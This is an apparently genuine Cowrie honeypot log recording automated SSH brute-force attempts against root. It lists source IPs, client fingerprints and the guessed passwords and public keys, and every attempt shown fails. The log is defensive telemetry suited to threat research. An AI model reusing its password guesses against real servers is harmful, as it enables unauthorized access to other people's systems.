{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:15.648670Z","src_ip":"43.134.27.11","session":"e9e5237f81eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"itsm123","message":"login attempt [root/itsm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:16.634554Z","src_ip":"43.134.27.11","session":"e9e5237f81eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:17.875892Z","src_ip":"43.134.27.11","session":"e9e5237f81eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":49710,"dst_ip":"159.203.135.109","dst_port":22,"session":"37d5d49529ae","protocol":"ssh","message":"New connection: 181.47.9.103:49710 (159.203.135.109:22) [session: 37d5d49529ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:19.512609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:19.517020Z","src_ip":"181.47.9.103","session":"37d5d49529ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:19.659851Z","src_ip":"181.47.9.103","session":"37d5d49529ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angela","message":"login attempt [root/angela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:20.260900Z","src_ip":"181.47.9.103","session":"37d5d49529ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:21.407022Z","src_ip":"181.47.9.103","session":"37d5d49529ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46542,"dst_ip":"10.17.0.5","dst_port":23,"session":"df91dd5b812e","protocol":"telnet","message":"New connection: 192.119.13.58:46542 (10.17.0.5:23) [session: df91dd5b812e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:36.732432Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":44908,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c81ffb70dc7","protocol":"ssh","message":"New connection: 115.178.75.242:44908 (159.203.135.109:22) [session: 6c81ffb70dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:47.903423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:47.907697Z","src_ip":"115.178.75.242","session":"6c81ffb70dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:48.086440Z","src_ip":"115.178.75.242","session":"6c81ffb70dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkm","message":"login attempt [root/gfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:48.834133Z","src_ip":"115.178.75.242","session":"6c81ffb70dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:50.015787Z","src_ip":"115.178.75.242","session":"6c81ffb70dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":32946,"dst_ip":"159.203.135.109","dst_port":22,"session":"d416ab80359c","protocol":"ssh","message":"New connection: 163.227.230.54:32946 (159.203.135.109:22) [session: d416ab80359c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:50.536907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:50.540659Z","src_ip":"163.227.230.54","session":"d416ab80359c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:50.785293Z","src_ip":"163.227.230.54","session":"d416ab80359c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nascar","message":"login attempt [root/nascar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:51.800678Z","src_ip":"163.227.230.54","session":"d416ab80359c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:53.049375Z","src_ip":"163.227.230.54","session":"d416ab80359c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":60026,"dst_ip":"159.203.135.109","dst_port":22,"session":"320d0a9f8700","protocol":"ssh","message":"New connection: 184.94.212.80:60026 (159.203.135.109:22) [session: 320d0a9f8700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:54.576094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:54.580751Z","src_ip":"184.94.212.80","session":"320d0a9f8700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:54.645674Z","src_ip":"184.94.212.80","session":"320d0a9f8700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raptor","message":"login attempt [root/raptor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:54.929116Z","src_ip":"184.94.212.80","session":"320d0a9f8700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:55.996503Z","src_ip":"184.94.212.80","session":"320d0a9f8700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.01196599006653,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:00.551305Z","src_ip":"192.119.13.58","session":"4477549b2e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":46160,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b27b36ec63e","protocol":"ssh","message":"New connection: 103.27.238.114:46160 (159.203.135.109:22) [session: 2b27b36ec63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:05.727224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:05.732690Z","src_ip":"103.27.238.114","session":"2b27b36ec63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:06.000379Z","src_ip":"103.27.238.114","session":"2b27b36ec63e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123456","message":"login attempt [root/qaz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:06.797801Z","src_ip":"103.27.238.114","session":"2b27b36ec63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.066442Z","src_ip":"103.27.238.114","session":"2b27b36ec63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.57.43","src_port":14694,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d5f6cc998cb","protocol":"ssh","message":"New connection: 68.235.57.43:14694 (10.17.0.5:22) [session: 4d5f6cc998cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.712764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.717748Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.757900Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:87:a7:75:d2:2a:ca:3f:7a:73:6a:2d:bf:2d:91:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeFfNcjmaVBBUT7K0yL/aHLouMvbSD2T3eTzKsZi+zi8TFlN5X/ctFMh+37gkrApmKZBHzBAcABhk0KIxFI+GFxTWKY4i/vwp7VUt7Xb8Yz6W+PDjNRdQhrJm461OeFLTsfXwZ8engVbv/cTTfuA7+iSg/31Dqkp0MsTX5b0lnhhORi/rJ8Cq9FynMqLRwYgYejR+idXQ5/HmgqkiVqAivmPLEnifOFJymr7X/PgAC5IK8ltIaOgWitQGeovoD+5+Lj0+VSJ6HzVEdyFCPUnKPuYViAZkBDr1HJweI2pJ+stVedjK1OThoNkShLabW0Kfo42cnfAhNzzZh1oCAY9bT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:87:a7:75:d2:2a:ca:3f:7a:73:6a:2d:bf:2d:91:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.905700Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:87:a7:75:d2:2a:ca:3f:7a:73:6a:2d:bf:2d:91:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeFfNcjmaVBBUT7K0yL/aHLouMvbSD2T3eTzKsZi+zi8TFlN5X/ctFMh+37gkrApmKZBHzBAcABhk0KIxFI+GFxTWKY4i/vwp7VUt7Xb8Yz6W+PDjNRdQhrJm461OeFLTsfXwZ8engVbv/cTTfuA7+iSg/31Dqkp0MsTX5b0lnhhORi/rJ8Cq9FynMqLRwYgYejR+idXQ5/HmgqkiVqAivmPLEnifOFJymr7X/PgAC5IK8ltIaOgWitQGeovoD+5+Lj0+VSJ6HzVEdyFCPUnKPuYViAZkBDr1HJweI2pJ+stVedjK1OThoNkShLabW0Kfo42cnfAhNzzZh1oCAY9bT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.910510Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:84:74:3e:16:d2:93:8c:e6:54:8b:78:83:61:83:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcKzeSRi0BDTA6ua0NXYUcepaVMUgCN5yMvLN1MJUoM","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 33:84:74:3e:16:d2:93:8c:e6:54:8b:78:83:61:83:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.946035Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:84:74:3e:16:d2:93:8c:e6:54:8b:78:83:61:83:b3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcKzeSRi0BDTA6ua0NXYUcepaVMUgCN5yMvLN1MJUoM","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.950146Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:1f:4b:96:ee:ce:38:85:8d:4d:bf:28:74:68:db:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaK4wpw8100+aLCZ7OjWDLII+1ik5MJjhxjQKmYqM3aLCFvT84GjfEtyEl+8H4DCc37EowdQOHKxR3dT7e1HTjwvjpYQyr+mkJ1qmCQL/GiQUULdPu11QJBB5Rw2h0mH1MZrJREJYTynAA3farv2AaCMM4JkiiWVkv13ih4/vUCypBrianoA1r8fx5mwNnO+h7aezThn9yhRwTiRo1GtBMYSRJsKs71zhN9YZfoqQAASGJb3T9zjDUk0Ct8rGS7YjaJdvigVqeiqcr+GuoHZvtJl/j4xpvIb+OAWcXNp+6RGbJuAUQPOzNRmgHUZmFwKxRzVZib3QKMfjX77rs5K6r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:1f:4b:96:ee:ce:38:85:8d:4d:bf:28:74:68:db:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.985612Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
